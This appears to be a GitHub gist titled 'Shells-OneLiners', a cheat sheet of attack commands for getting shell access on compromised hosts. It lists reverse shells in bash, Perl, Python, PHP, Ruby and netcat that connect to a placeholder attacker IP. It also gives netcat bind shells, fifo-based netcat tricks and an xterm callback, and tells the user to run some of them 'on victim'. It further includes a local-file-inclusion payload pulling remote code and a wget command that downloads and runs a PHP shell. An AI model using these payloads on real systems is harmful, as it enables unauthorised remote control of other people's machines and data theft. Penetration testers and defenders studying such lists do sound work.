Skip to content

Instantly share code, notes, and snippets.

@alexandercastillo1
Created August 10, 2018 20:25
Show Gist options
  • Save alexandercastillo1/271ce3ef6e1c44e663c944608f538507 to your computer and use it in GitHub Desktop.
Save alexandercastillo1/271ce3ef6e1c44e663c944608f538507 to your computer and use it in GitHub Desktop.
Shells-OneLiners
**TTY Shells**
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl —e 'exec "/bin/bash";'
perl: exec "/bin/sh";
perl: exec "/bin/bash";
ruby: exec "/bin/sh"
ruby: exec "/bin/bash"
lua: os.execute('/bin/sh')
lua: os.execute('/bin/bash')
**BASH**
bash -i >& /dev/tcp/ATTACKERIP/ATTACKERPORT 0>&1
**PERL**
perl -e 'use Socket;$i="ATTACKERIP";$p=ATTACKERPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
**PYTHON**
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKERIP",ATTACKERPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
**PHP**
php -r '$sock=fsockopen("ATTACKERIP",ATTACKERPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKERIP/ATTACKERPORT 0>&1'");
<?php echo shell_exec("nc -nvv ATTACKERIP ATTACKERPORT -e /bin/sh")?>
<?php echo shell_exec("nc -nvv ATTACKERIP ATTACKERPORT -e /bin/sh");
USED ON LFI: /addguestbook.php?name=hacker&comment=pwned&LANG=http://ATTACKERIP/evil.txt%00&Submit=Submit
wget http://ATTACKERIP/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php
**RUBY**
ruby -rsocket -e'f=TCPSocket.open("ATTACKERIP",ATTACKERPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
**NETCAT**
nc -e /bin/sh ATTACKERIP ATTACKERPORT
nc ATTACKERIP ATTACKERPORT -e /bin/bash
_____________________________________________________________________
If there is not support for -e option, run these commands on victim:
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc ATTACKERIP ATTACKERPORT 1>/tmp/backpipe
_____________________________________________________________________
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKERIP ATTACKERPORT >/tmp/f
/bin/sh -c "/bin/sh 0</tmp/backpipe | nc ATTACKERIP ATTACKERPORT 1>/tmp/backpipe"
For Windows: nc.exe ATTACKERIP ATTACKERPORT –e cmd.exe
For FreeBSD: /bin/nc.traditional ATTACKERIP ATTACKERPORT -e /bin/bash | /bin/nc.traditional ATTACKERIP ATTACKERPORT -c /bin/bash
**Netcat bind**
on Victim: nc -lvp OPENEDPORT -e /bin/sh
ON Attacker: nc VICTIMIP VICTIMPORT
**xterm**
It will try to connect back to you (ATTACKERIP) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001)
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment